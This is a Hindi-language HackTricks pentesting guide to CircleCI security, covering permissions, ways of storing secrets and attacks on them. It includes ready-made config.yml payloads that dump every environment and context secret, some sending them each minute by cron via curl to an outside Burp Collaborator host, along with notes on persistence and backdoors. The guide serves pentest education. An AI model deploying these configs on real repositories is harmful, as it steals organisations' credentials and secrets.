Files
hacktricks-cloud/src/pentesting-ci-cd/circleci-security.md

15 KiB

CircleCI सुरक्षा

{{#include ../banners/hacktricks-training.md}}

बुनियादी जानकारी

CircleCI एक निरंतर एकीकरण प्लेटफार्म है जहाँ आप टेम्पलेट्स परिभाषित कर सकते हैं जो यह बताती हैं कि आप इसे कुछ कोड के साथ क्या करना चाहते हैं और कब करना चाहते हैं। इस तरह आप परीक्षण या डिप्लॉयमेंट को सीधे अपने रेपो मास्टर ब्रांच से स्वचालित कर सकते हैं, उदाहरण के लिए।

अनुमतियाँ

CircleCI अनुमतियाँ विरासत में लेता है जो github और bitbucket से संबंधित हैं उस खाते से जो लॉग इन करता है।
मेरी परीक्षण में मैंने यह जांचा कि जब तक आपके पास github में रेपो पर लिखने की अनुमतियाँ हैं, आप CircleCI में इसके प्रोजेक्ट सेटिंग्स को प्रबंधित करने में सक्षम होंगे (नए ssh कुंजी सेट करें, प्रोजेक्ट api कुंजी प्राप्त करें, नए CircleCI कॉन्फ़िग्स के साथ नए ब्रांच बनाएं...)।

हालांकि, आपको CircleCI प्रोजेक्ट में रेपो को परिवर्तित करने के लिए रेपो प्रशासक होना आवश्यक है।

पर्यावरण चर और रहस्य

दस्तावेज़ों के अनुसार कार्यप्रवाह के भीतर पर्यावरण चर में मान लोड करने के विभिन्न तरीके हैं।

अंतर्निहित पर्यावरण चर

CircleCI द्वारा चलाए गए प्रत्येक कंटेनर में हमेशा दस्तावेज़ में परिभाषित विशिष्ट env vars होंगे जैसे CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME या CIRCLE_USERNAME

स्पष्ट पाठ

आप उन्हें कमांड के भीतर स्पष्ट पाठ में घोषित कर सकते हैं:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

आप उन्हें run environment के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

आप उन्हें build-job environment के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

आप उन्हें कंटेनर के वातावरण के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

प्रोजेक्ट रहस्य

ये रहस्य हैं जो केवल प्रोजेक्ट (किसी भी शाखा द्वारा) द्वारा पहुँच योग्य होंगे।
आप इन्हें https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables में घोषित होते हुए देख सकते हैं।

Caution

"इंपोर्ट वेरिएबल्स" कार्यक्षमता अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में इंपोर्ट करने की अनुमति देती है।

संदर्भ रहस्य

ये रहस्य संगठन स्तर पर हैं। डिफ़ॉल्ट रूप से कोई भी रेपो यहाँ संग्रहीत किसी भी रहस्य को पहुँच सकेगा:

Tip

हालाँकि, ध्यान दें कि एक अलग समूह (सभी सदस्यों के बजाय) को विशिष्ट लोगों को रहस्यों तक पहुँच देने के लिए चुना जा सकता है
यह वर्तमान में रहस्यों की सुरक्षा बढ़ाने के लिए सबसे अच्छे तरीकों में से एक है, ताकि सभी को उन्हें पहुँचने की अनुमति न हो बल्कि केवल कुछ लोगों को।

हमले

स्पष्ट पाठ रहस्यों की खोज

यदि आपके पास VCS (जैसे github) तक पहुँच है, तो प्रत्येक शाखा पर प्रत्येक रेपो की .circleci/config.yml फ़ाइल की जाँच करें और वहाँ संग्रहीत संभावित स्पष्ट पाठ रहस्यों के लिए खोजें

रहस्य पर्यावरण वेरिएबल्स और संदर्भ गणना

कोड की जाँच करते समय आप सभी रहस्य नाम पा सकते हैं जो प्रत्येक .circleci/config.yml फ़ाइल में उपयोग किए जा रहे हैं। आप उन फ़ाइलों से संदर्भ नाम भी प्राप्त कर सकते हैं या उन्हें वेब कंसोल में देख सकते हैं: https://app.circleci.com/settings/organization/github/<org_name>/contexts

प्रोजेक्ट रहस्यों को निकालना

Warning

सभी प्रोजेक्ट और संदर्भ रहस्यों को निकालने के लिए आपको सिर्फ 1 रेपो में लिखने की अनुमति होनी चाहिए (और आपके खाते को संदर्भों तक पहुँच होनी चाहिए लेकिन डिफ़ॉल्ट रूप से सभी को हर संदर्भ तक पहुँच मिलती है)।

Caution

"इंपोर्ट वेरिएबल्स" कार्यक्षमता अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में इंपोर्ट करने की अनुमति देती है। इसलिए, एक हमलावर सभी रेपो से सभी प्रोजेक्ट वेरिएबल्स को इंपोर्ट कर सकता है और फिर सभी को एक साथ निकाल सकता है

सभी प्रोजेक्ट रहस्य हमेशा नौकरियों के वातावरण में सेट होते हैं, इसलिए बस env को कॉल करना और इसे base64 में छिपाना रहस्यों को कार्यप्रवाह वेब लॉग कंसोल में निकाल देगा:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

यदि आपके पास वेब कंसोल तक पहुंच नहीं है लेकिन आपके पास रेपो तक पहुंच है और आप जानते हैं कि CircleCI का उपयोग किया जा रहा है, तो आप बस एक वर्कफ़्लो बना सकते हैं जो हर मिनट ट्रिगर होता है और जो गुप्त जानकारी को एक बाहरी पते पर भेजता है:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Exfiltrate Context Secrets

आपको संदर्भ नाम निर्दिष्ट करना होगा (यह परियोजना के रहस्यों को भी बाहर निकालेगा):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

यदि आपके पास वेब कंसोल तक पहुंच नहीं है लेकिन आपके पास रेपो तक पहुंच है और आप जानते हैं कि CircleCI का उपयोग किया जा रहा है, तो आप बस एक वर्कफ़्लो को संशोधित कर सकते हैं जो हर मिनट ट्रिगर होता है और जो गुप्त जानकारी को एक बाहरी पते पर भेजता है:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Warning

एक नया .circleci/config.yml बनाना circleci बिल्ड को ट्रिगर करने के लिए पर्याप्त नहीं है। आपको इसे circleci कंसोल में एक प्रोजेक्ट के रूप में सक्षम करना होगा

क्लाउड में एस्केप

CircleCI आपको अपने बिल्ड को उनकी मशीनों या अपनी मशीनों में चलाने का विकल्प देता है
डिफ़ॉल्ट रूप से, उनकी मशीनें GCP में स्थित हैं, और आप प्रारंभ में कुछ प्रासंगिक नहीं पा सकेंगे। हालाँकि, यदि एक पीड़ित अपनी मशीनों (संभवतः, एक क्लाउड वातावरण में) में कार्य चला रहा है, तो आप दिलचस्प जानकारी के साथ एक क्लाउड मेटाडेटा एंडपॉइंट पा सकते हैं।

ध्यान दें कि पिछले उदाहरणों में सब कुछ एक डॉकर कंटेनर के अंदर लॉन्च किया गया था, लेकिन आप एक VM मशीन लॉन्च करने के लिए भी कह सकते हैं (जिसके पास विभिन्न क्लाउड अनुमतियाँ हो सकती हैं):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

या तो एक डॉकर कंटेनर जो एक दूरस्थ डॉकर सेवा तक पहुंच रखता है:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Persistence

  • CircleCI में API endpoints तक उपयोगकर्ता की पहुंच के साथ उपयोगकर्ता टोकन बनाना संभव है।
  • https://app.circleci.com/settings/user/tokens
  • प्रोजेक्ट टोकन बनाना संभव है ताकि टोकन को दिए गए अनुमतियों के साथ प्रोजेक्ट तक पहुंचा जा सके।
  • https://app.circleci.com/settings/project/github/<org>/<repo>/api
  • प्रोजेक्ट में SSH कुंजी जोड़ना संभव है।
  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh
  • एक अप्रत्याशित प्रोजेक्ट में छिपी शाखा में क्रॉन जॉब बनाना संभव है जो हर दिन सभी संदर्भ env vars लीक कर रहा है।
  • या यहां तक कि एक शाखा में बनाना / एक ज्ञात जॉब को संशोधित करना जो हर दिन सभी संदर्भ और प्रोजेक्ट्स सीक्रेट्स लीक करेगा।
  • यदि आप एक गिटहब मालिक हैं तो आप असत्यापित ऑर्ब्स की अनुमति दे सकते हैं और एक जॉब में इसे बैकडोर के रूप में कॉन्फ़िगर कर सकते हैं।
  • आप कुछ कार्यों में कमांड इंजेक्शन भेद्यता पा सकते हैं और इसके मान को संशोधित करके कमांड इंजेक्ट कर सकते हैं।

{{#include ../banners/hacktricks-training.md}}